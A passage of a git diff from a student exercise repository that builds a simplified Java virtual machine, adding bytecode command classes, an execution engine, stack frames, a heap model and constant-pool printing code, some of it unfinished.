+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+	}
+
+	
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/LdcCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..d6b102981b
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+	
+}
\ No newline at end of file
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/LoadCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/LoadCmd.java
new file mode 100644
index 0000000000..8597ec613d
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/LoadCmd.java
@@ -0,0 +1,12 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class LoadCmd extends NoOperandCmd {
+
+	public LoadCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		// TODO Auto-generated constructor stub
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..caa2609928
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..c3cda9b52e
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..71e09f7578
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..dc31cf084d
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/cmd/VoidReturnCmd.java b/group11/996108220/src/com/coderising/jvm/cmd/VoidReturnCmd.java
new file mode 100644
index 0000000000..ffc06f8fa1
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/cmd/VoidReturnCmd.java
@@ -0,0 +1,12 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class VoidReturnCmd extends NoOperandCmd{
+
+	public VoidReturnCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		// TODO Auto-generated constructor stub
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/constant/ConstantPool.java b/group11/996108220/src/com/coderising/jvm/constant/ConstantPool.java
index 86c0445695..93506b1e20 100644
--- a/group11/996108220/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group11/996108220/src/com/coderising/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group11/996108220/src/com/coderising/jvm/engine/ExecutionResult.java b/group11/996108220/src/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..8f6c51e52a
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/engine/ExecutorEngine.java b/group11/996108220/src/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..9b671c4cdb
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		StackFrame mainFrame=StackFrame.create(mainMethod);
+		stack.push(mainFrame);
+		while (!stack.isEmpty()) {
+			StackFrame frame=stack.peek();
+			ExecutionResult result=frame.execute();
+			if (result.isPauseAndRunNewFrame()) {
+				Method nextMethod=result.getNextMethod();
+				StackFrame nextFrame=StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);
+				//设置传入参数
+				setupFunctionCallParams(frame, nextFrame);
+				stack.push(nextFrame);
+			}
+			else {
+				stack.pop();
+			}
+			
+		}
+		
+		
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		Method nextMethod=nextFrame.getMethod();
+		n
+		
+		
+	}
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/engine/Heap.java b/group11/996108220/src/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..82ad210cef
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/engine/JavaObject.java b/group11/996108220/src/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..71ba382d9a
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/engine/MethodArea.java b/group11/996108220/src/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..781e81acf1
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/MethodArea.java
@@ -0,0 +1,68 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		return null;
+			
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/engine/MiniJVM.java b/group11/996108220/src/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..443524cc5f
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/engine/StackFrame.java b/group11/996108220/src/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..460654b7c1
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		return null;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/field/Field.java b/group11/996108220/src/com/coderising/jvm/field/Field.java
index 07d4633599..5c58695b9a 100644
--- a/group11/996108220/src/com/coderising/jvm/field/Field.java
+++ b/group11/996108220/src/com/coderising/jvm/field/Field.java
@@ -29,5 +29,10 @@ public static Field parse(ConstantPool pool,ByteCodeIterator iter){
 		
 		return null;
 	}
+	public String toString() {
+		UTF8Info name=(UTF8Info)(pool.getConstantInfo(nameIndex));
+		UTF8Info descriptor=(UTF8Info)(pool.getConstantInfo(descriptorIndex));
+		return name.getValue()+":"+descriptor.getValue();
+	}
 
 }
diff --git a/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java b/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java
index 2b705bb4dc..cbe619c4a5 100644
--- a/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -57,7 +57,9 @@ private Method parseMethod(ByteCodeIterator iter,ClassFile clzFile) {
 		int maxStack=iter.nextU2ToInt();
 		int maxLocals=iter.nextU2ToInt();
 		int codeLen=iter.nextU4ToInt();
-		String code=iter.getByte(codeLen).toString();
+		byte[] codes=iter.getByte(codeLen);
+		
+		String code=Util.byteToHexString(codes);
 		CodeAttr codeAttr=new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
 		int exceptionLength=iter.nextU2ToInt();
 		int count=iter.nextU2ToInt();
diff --git a/group11/996108220/src/com/coderising/jvm/method/Method.java b/group11/996108220/src/com/coderising/jvm/method/Method.java
index 2e90726e95..44c8e89ec6 100644
--- a/group11/996108220/src/com/coderising/jvm/method/Method.java
+++ b/group11/996108220/src/com/coderising/jvm/method/Method.java
@@ -1,6 +1,13 @@
 package com.coderising.jvm.method;
 
+import java.util.ArrayList;
+
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.cmd.InvokeSpecialCmd;
+import com.coderising.jvm.cmd.LdcCmd;
+import com.coderising.jvm.cmd.PutFieldCmd;
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.constant.ConstantPool;
@@ -52,4 +59,9 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return null;
 		
 	}
+
+	public ByteCodeCommand[] getCmds() {
+
+		return CommandParser.parse(clzFile, codeAttr.getCode());
+	}
 }
diff --git a/group11/996108220/src/com/coderising/jvm/print/ClassFilePrinter.java b/group11/996108220/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..5b51e51aed
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "F:\\mycoding2017\\group11\\996108220\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group11/996108220/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..ced6fc2354
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,130 @@
+package com.coderising.jvm.print;
+
+import java.nio.Buffer;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		for (int i = 0; i < pool.getSize(); i++) {
+			ConstantInfo info=pool.getConstantInfo(i);
+			StringBuffer pringBuffer=new StringBuffer();
+			if (i<10) {
+				pringBuffer.append(" #"+Integer.toString(i)+" ");
+			}
+			else {
+				pringBuffer.append("#"+Integer.toString(i)+" ");
+			}
+			if (info instanceof UTF8Info) {
+				pringBuffer.append("Utf8");
+				String buffer=String.format("%-30s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				UTF8Info utf8Info=(UTF8Info)info;
+				pringBuffer.append(utf8Info.getValue());
+			}
+			else if (info instanceof ClassInfo) {
+				pringBuffer.append("Class");
+				String buffer=String.format("%-30s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				ClassInfo classInfo=(ClassInfo)info;
+				pringBuffer.append("#"+Integer.toString(classInfo.getUtf8Index()));
+				buffer=String.format("%-40s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				UTF8Info utf8Info=(UTF8Info)pool.getConstantInfo(classInfo.getUtf8Index());
+				pringBuffer.append("// "+utf8Info.getValue());
+			}
+			else if (info instanceof NameAndTypeInfo) {
+				pringBuffer.append("NameAndType");
+				String buffer=String.format("%-30s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				NameAndTypeInfo nameAndTypeInfo=(NameAndTypeInfo)info;
+				int index1=nameAndTypeInfo.getIndex1();
+				int index2=nameAndTypeInfo.getIndex2();
+				pringBuffer.append("#"+Integer.toString(index1)+";"+"#"+Integer.toString(index2));
+				buffer=String.format("%-40s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				String string1=((UTF8Info)pool.getConstantInfo(index1)).getValue();
+				String string2=((UTF8Info)pool.getConstantInfo(index2)).getValue();
+				pringBuffer.append("// "+string1+";"+string2);
+				
+			}
+			else if (info instanceof FieldRefInfo) {
+				pringBuffer.append("FieldRef");
+				String buffer=String.format("%-30s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				FieldRefInfo fieldRefInfo=(FieldRefInfo)info;
+				int classInfoIndex=fieldRefInfo.getClassInfoIndex();
+				int nameAndTypeIndex=fieldRefInfo.getNameAndTypeIndex();
+				pringBuffer.append("#"+Integer.toString(classInfoIndex)+";"+"#"+Integer.toString(nameAndTypeIndex));
+				buffer=String.format("%-40s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				int index1=((ClassInfo)pool.getConstantInfo(classInfoIndex)).getUtf8Index();
+				int index2=((NameAndTypeInfo)pool.getConstantInfo(nameAndTypeIndex)).getIndex1();
+				int index3=((NameAndTypeInfo)pool.getConstantInfo(nameAndTypeIndex)).getIndex2();
+				String string1=((UTF8Info)pool.getConstantInfo(index1)).getValue();
+				String string2=((UTF8Info)pool.getConstantInfo(index2)).getValue();
+				String string3=((UTF8Info)pool.getConstantInfo(index3)).getValue();
+				pringBuffer.append("// "+string1+";"+string2+";"+string3);
+				}
+			else if (info instanceof MethodRefInfo) {
+				pringBuffer.append("MethodRef");
+				String buffer=String.format("%-30s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				MethodRefInfo methodRefInfo=(MethodRefInfo)info;
+				int classInfoIndex=methodRefInfo.getClassInfoIndex();
+				int nameAndTypeIndex=methodRefInfo.getNameAndTypeIndex();
+				pringBuffer.append("#"+Integer.toString(classInfoIndex)+";"+"#"+Integer.toString(nameAndTypeIndex));
+				buffer=String.format("%-40s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				int index1=((ClassInfo)pool.getConstantInfo(classInfoIndex)).getUtf8Index();
+				int index2=((NameAndTypeInfo)pool.getConstantInfo(nameAndTypeIndex)).getIndex1();
+				int index3=((NameAndTypeInfo)pool.getConstantInfo(nameAndTypeIndex)).getIndex2();
+				String string1=((UTF8Info)pool.getConstantInfo(index1)).getValue();
+				String string2=((UTF8Info)pool.getConstantInfo(index2)).getValue();
+				String string3=((UTF8Info)pool.getConstantInfo(index3)).getValue();
+				pringBuffer.append("// "+string1+";"+string2+";"+string3);
+			}
+			else if (info instanceof StringInfo) {
+				pringBuffer.append("String");
+				String buffer=String.format("%-30s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				StringInfo stringInfo=(StringInfo)info;
+				pringBuffer.append("#"+Integer.toString(stringInfo.getIndex()));
+				buffer=String.format("%-40s", pringBuffer);
+				pringBuffer=new StringBuffer(buffer);
+				UTF8Info utf8Info=(UTF8Info)pool.getConstantInfo(stringInfo.getIndex());
+				pringBuffer.append("// "+utf8Info.getValue());
+			}
+			System.out.println(pringBuffer);
+		}
+		
+		
+	}
